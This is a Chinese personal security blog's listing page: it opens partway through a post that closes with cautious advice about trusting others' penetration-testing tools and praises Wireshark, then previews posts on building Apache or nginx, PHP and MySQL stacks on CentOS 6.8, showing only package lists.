种限制,从远程下工具还是比较困难的,另外,别人的工具很可能有相当一部分工具都是需要自己免杀的单单基于汇编层免杀还是很有限的,如果你不会免杀,这事儿就很麻烦了,毕竟不是源自自己的手,用别人的始终不太放心,所以,有些东西还是大家自己考量吧……这里只是一点个人建议而已,当然,如果你有喜欢逆别人工具的习惯,这里所说的一切,您都可以直接忽略,如果自己不会逆向,还是谨慎点儿好,如果你想更仔细的去观察基于不同协议更底层的扫描细节,用wireshark吧,它绝对是我见过的最牛最实用的渗透工具,是的,没有之一,祝,愉快

httpd 2.4.27 + php 5.6.31 + mysql 5.5.57 + centOS6.8_x64

发表于 2016-06-25 | 更新于: 2017-12-03 | 分类于 env
字数统计: 2,161 | 阅读时长 ≈ 13


一、首先,部署apache

0x01 还是接着我们之前准备好的系统继续,首先,将所有准备安装的源码包上传至服务器,软件包列表如下:

1
2
3
4
5
6
7
apr-1.6.2.tar.gz
apr-util-1.6.0.tar.gz
cronolog-1.6.2.tar.gz
libiconv-1.14.tar.gz
httpd-2.4.27.tar.gz
mysql-5.5.57.tar.gz
php-5.6.31.tar.gz

要最终完成的架构如下:

1
httpd 2.4.27 + php 5.6.31 + mysql 5.5.57 + centOS6.8_x64

阅读全文 »

php5.5.38 + mysql-5.5.32 + nginx-1.12.1 + centOS6.8_x64

发表于 2016-06-24 | 更新于: 2017-11-30 | 分类于 env
字数统计: 1,440 | 阅读时长 ≈ 8


一、首先,部署nginx

0x01 依旧接着我们之前准备好的系统继续,首先,将所有准备安装的源码包上传至服务器,软件包列表如下:

1
2
3
4
libiconv-1.14.tar.gz
mysql-5.5.32-linux2.6-x86_64.tar.gz
nginx-1.12.1.tar.gz
php-5.5.38.tar.gz

此次要实现的大致架构如下:

1
php5.5.38 + mysql-5.5.32 + nginx-1.12.1 + centOS6.8_x64

阅读全文 »

httpd 2.2.34 + mysql 5.1.68 + centOS 6.8_x64 + php 5.2.17

发表于 2016-06-23 | 更新于: 2017-12-03 | 分类于 env
字数统计: 2,438 | 阅读时长 ≈ 14



一、首先,部署apache

0x01 还是接着我们之前准备好的系统继续,首先,将所有准备安装的源码包上传至服务器,软件包列表如下:

1
2
3
4
5
6
7
8
httpd-2.2.34.tar.gz
libiconv-1.14.tar.gz
libmcrypt-2.5.8.tar.gz
mcrypt-2.6.8.tar.gz
mhash-0.9.9.9.tar.gz
mysql-5.1.68.tar.gz
php-5.2.17.tar.gz
cronolog-1.6.2.tar.gz

本次要完成的大致架构如下:

1
httpd 2.2.34  + mysql 5.1.68 + centOS 6.8_x64 + php 5.2.17

阅读全文 »

php5.3.27 + mysql-5.5.32 + nginx-1.10.3 + centOS6.8_x64

发表于 2016-06-22 | 更新于: 2017-11-30 | 分类于 env
字数统计: 1,547 | 阅读时长 ≈ 9


一、首先,部署nginx

0x01 依旧接着我们之前准备好的系统继续,首先,将所有准备安装的源码包上传至服务器,软件包列表如下:

1
2
3
4
5
libiconv-1.14.tar.gz
libmcrypt-2.5.8.tar.gz
mysql-5.5.32-linux2.6-x86_64.tar.gz
nginx-1.10.3.tar.gz
php-5.3.27.tar.gz

此次要实现的大致架构如下:

1
php5.3.27 + mysql-5.5.32 + nginx-1.10.3 + centOS6.8_x64

阅读全文 »
1…121314…17
VK

VK

别惹我,我疯起来连自己都黑!

163 日志
115 分类
110 标签
RSS
GitHub E-Mail Twitter
安全资讯
  • FreeBuf
  • 指尖安全
  • SecWiki
  • 先知社区
  • 嘶吼
  • 安全客
  • 安全牛
  • E安全
© 2019 VK
博客全站共312.4k字
由 Evil-404 维护
| 本站总访问量次
0%